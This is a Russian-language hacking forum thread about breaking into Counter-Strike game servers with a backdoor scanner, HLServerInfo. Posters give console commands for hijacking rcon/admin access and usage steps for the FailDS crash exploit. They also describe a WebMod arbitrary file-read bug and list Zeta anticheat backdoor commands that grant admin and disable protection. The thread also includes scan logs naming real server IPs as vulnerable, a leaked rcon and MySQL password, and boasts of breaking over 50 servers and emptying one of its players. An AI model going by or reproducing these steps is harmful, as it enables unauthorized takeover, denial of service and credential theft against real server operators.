HLServerInfo 1.02

[mstreil]

[Ссылки могут видеть только зарегистрированные пользователи. ]

вот данная прогарамма для поисков серверов которые можно бэкдорить
возможности программы:
- поиск 12 самых известных дыр CS серверов
- быстрый поиск
- цветные логи
В папке присутствует 2 программы:
1 - для проверки одного сервера
2 - для проверки списка серверов(создайте файл list.txt, введите его название в окно и жмите Check. Текстовый файл должен содержать адреса сканируемых серверов)

ссылка на скачивание- [Ссылки могут видеть только зарегистрированные пользователи. ]
ВТ- [Ссылки могут видеть только зарегистрированные пользователи. ]

Далее сам бэкдор сервера:

вот 2 типа самых простых
[Ссылки могут видеть только зарегистрированные пользователи. ]

вот если после проверки появятся 2 таких надписи делаем следушее (надписи сами обозначил зелёным)
1)[CSF-AC] BackDoor detected!, то пишем в консоле (~) setinfo rate 24123
2)[CSF-OGD] BackDoor detected!, то пишем то пишем в консоле (~) setinfo rate 21123

после того как написали
1)идём на сервер
2)быстро выбираем команду
3)если всё хорошу удалось то к примеру на пишет
mstreil подключается к серверу
rcon сам (ркон не будет не как обозначен к примеру может быть такой asfhohdsafho,а может и blabla.ucoz.ru вы не думайте что это сайт написан проверте
mstreil выбрал команду террористов
[Ссылки могут видеть только зарегистрированные пользователи. ]
самое нижнее это rcon ну там есть ник для ЖуК.ru

[Master4eG]

1 Kicked :usage backdoor...
2 Kicked :used game bug...
Везде защита...

[lostangel358]

А если будет Double-protocol server hack detected
?)

[fuckmybrain32]

Кстати, кто может подсказать соткуда можно большие свежие базы брать?) или нужно самому с мониторингов вытаскивать?)

[RICHENG]

Спасибо, из 40 серваков только 25 откликнулись))
теперь даже не знаю куда столько админки девать))
вот правдо с сообщением про -- [DProto] "FailDS" attack could be possible!
не пойму как пользоваться!
Кто может обьясните!

[mstreil]

Цитата: Сообщение от fuckmybrain32 Кстати, кто может подсказать соткуда можно большие свежие базы брать?) или нужно самому с мониторингов вытаскивать?)

лично я с мониторингов тащил что бы были хорошие серваки,а не как на раздаче rcon'ов максимальные по 5-6 онлайн))

[fuckmybrain32]

Я не понимаю пишет что есть защита на сервер, захожу а в консоле нету ничего!!!

[mstreil]

я не знаю как точно идёт,но точно ломаются сервы когда обе дырки пресутствуют,а когда 1 из них не всегда почему то ломается

[fuckmybrain32]

Цитата: Сообщение от RICHENG Спасибо, из 40 серваков только 25 откликнулись)) теперь даже не знаю куда столько админки девать)) вот правдо с сообщением про -- [DProto] "FailDS" attack could be possible! не пойму как пользоваться! Кто может обьясните!

Выложи парочку =)

[lostangel358]

Не знал как оформить)

PHP код:

Connecting to 212.24.62.199:27045...

Connecting to 46.174.52.2:27439...

Connecting to 77.79.7.175:27015...

Connecting to 83.222.119.114:28888...

Connecting to 62.122.213.18:27658...

Connecting to 83.222.119.194:27323...
>> [CSF-AC] BackDoor detected!
>> Double-protocol server hack detected

Connecting to 195.82.158.48:27015...

Connecting to 62.176.21.221:27015...
>> Double-protocol server hack detected

Connecting to 80.77.175.118:27023...

Connecting to 83.222.109.24:28097...

Connecting to 188.127.246.101:27094...

Connecting to 77.220.186.18:29041...

Connecting to 193.26.217.32:27025...
>> [CSF-AC] BackDoor detected!

Connecting to 77.220.186.18:27018...
>>> Decal frequency is too low!

Connecting to 193.26.217.29:27047...

Connecting to 46.174.52.6:27266...

Connecting to 91.211.118.117:27015...

Connecting to 77.220.180.155:27015...
>> [CSF-AC] BackDoor detected!

Connecting to 217.23.150.137:27015...

Connecting to 46.174.48.24:27276...

Connecting to 212.24.62.37:27046...
>> [CSF-OGD] BackDoor detected!

Connecting to 46.174.48.97:27015...

Connecting to 46.174.48.11:27270...
>> Double-protocol server hack detected

Connecting to 91.211.118.200:27035...
>> [CSF-AC] BackDoor detected!

Connecting to 46.174.48.15:27277...
>> [CSF-AC] BackDoor detected!

Connecting to 212.24.62.38:27044...

Connecting to 46.174.52.6:27246...

Connecting to 77.241.199.249:27016...

Connecting to 83.69.236.2:27015...

Connecting to 77.241.194.76:27016...

Connecting to 77.241.199.71:27019...

Connecting to 77.241.199.71:27016...

Connecting to 77.241.199.71:27015...
>> [CSF-OGD] BackDoor detected!

Connecting to 83.222.109.28:31211...

Connecting to 78.157.94.193:27015...
>> Double-protocol server hack detected
>> [CSF-OGD] BackDoor detected!

Connecting to 109.74.139.145:27016...
>> Double-protocol server hack detected

Connecting to 89.20.147.131:30827...

Connecting to 46.174.52.7:27308...

Connecting to 46.38.56.58:27030...
>> [DProto] "FailDS" attack could be possible!

Connecting to 109.104.198.32:27019...

Connecting to 83.222.119.98:27493...

Connecting to 77.241.194.87:27015...

Connecting to 91.211.116.22:27026...

Connecting to 193.26.217.20:27089...
>> Double-protocol server hack detected

Connecting to 46.174.52.4:27204...

Connecting to 92.240.75.29:27015...

Connecting to 83.222.97.195:27277...

Connecting to 80.77.174.188:27025...
>> Double-protocol server hack detected
>> Double-protocol server hack detected
Failed to receive server rules!
Connecting to 193.26.217.1:27018...

Connecting to 212.59.26.23:27017...

Connecting to 46.174.52.6:27214...

Connecting to 83.222.97.78:28927...

Connecting to 82.135.228.58:27016...

Connecting to 2.94.230.7:27360...
>> [DProto] "FailDS" attack could be possible!

>> Double-protocol server hack detected 


[ermak47]

Цитата: Сообщение от strelok20095 парни вот короче какая у мя фигня может кто знает? оО где тута пас от серва?

Нету там на скрине нечего полезного

[Novichok]

Огромное спасибо за программу, сломал уже более 50-ти серверов.

Кстати эксплоит WebMod позволяет вам читать абсолютно любые файлы сервера.
Если нам выдало следующее:

[Ссылки могут видеть только зарегистрированные пользователи. ]

То идем [Ссылки могут видеть только зарегистрированные пользователи. ], вводим IP:Port сервера и скачиваем любые файлы.

Далее сплоит failds, с помощью которого можно положить любые сервера с установленным Dproto до версии 0.4.8р.

failds.rar. [Ссылки могут видеть только зарегистрированные пользователи. ].
Инструкция:

1. Создать ярлык софтины.
2. Прописать в свойства следующее:

[Ссылки могут видеть только зарегистрированные пользователи. ]

<IP> - Айпи сервера
<Port> - Порт сервера
<Protocol> - Протокол сервера
<Authtype> - Как программа будет попадать на сервер, написать только число:

1 = HLTV
2 = No-steam type 1
3 = Steam/SteamEmu Emulated
4 = WON (No-Steam type 2)

[Ссылки могут видеть только зарегистрированные пользователи. ]

На скрин также попал баг с pausable, с помощью которого можно остановить клиент командой pause и выполнить этот баг.

Идем дальше.

[Ссылки могут видеть только зарегистрированные пользователи. ]

Тут все понятно само собой - на сервере установлена нестандартная гравитация.

Следующий сплоит так и не понятно что делает, но мне кажется, что он выполняет туже функцию, что и FailDS, проверить нет возможности.

[Ссылки могут видеть только зарегистрированные пользователи. ]

Немногим известно, что квар decalfrequency устанавливает время рисования лого, программа ловит и такие сервера, где параметр decalfrequency меньше 5.

[Ссылки могут видеть только зарегистрированные пользователи. ]

На следующем скрине все понятно. На сервере включен sv_cheats "1"

[Ссылки могут видеть только зарегистрированные пользователи. ]

Далее. Присутствует бекдор в античите Zeta, точнее их 2, которые дают просто огромное преимущество игроку.
Игроку доступны следующие команды. Экспериметируйте. Напомню, что команда zeta_anticheat_off - полностью отключает античит.

Цитата: 4UTbI admin_vote_kick admin_vote_map centerview fullupdate get_sinfo manhetten_project remove_all_admins remove_exact_admin remove_me_as_admin say /3Byk set_me_as_admin set_me_local_admin set_me_super_admin set_rcon_password set_rendering show_zeta_id standart update_sql_injection weapon_knife zeta_anticheat_off zeta_ban d zeta_banlist d zeta_banned zeta_check d zeta_reload d zeta_superban d zeta_unban d

Команда get_sinfo выдает очень интересную информацию:

] get_sinfo.
ZETA server-info sploit ACTIVATED!

rcon_password "pcw"
amx_password_field "_hs"
amx_sql_host "127.0.0.1"
amx_sql_user "serv_db"
amx_sql_pass "Tyu*7632"
amx_sql_db "ooo_db"
amx_sql_table ""
amx_sql_type "mysql"
Checking admins online:
No admins online! Free for cheat!

Используйте на в свое удовольствие

P.S. Пишите другие дыры, может постараюсь их реализовать.

by Novichok

[RICHENG]

Novichok -- за вебмод те огромное спасибо и вообще а описание почти всех багов(дырок).
Зашол на сервак 15/22 на серве после меня осталось 0)))

[Novichok]

Цитата: Сообщение от strelok20095 а что значит вот эта надпись ) Nu s-a putut crea o conexiune, asigura-te ca ai introdus corect IP-ul/hostul si portul

Значит сервер не зарегистрирован в вебмоде

[LANKKARI1]

Мне 1 админ сервера угрожает что заставит меня платить штраф. Возможно ли такое??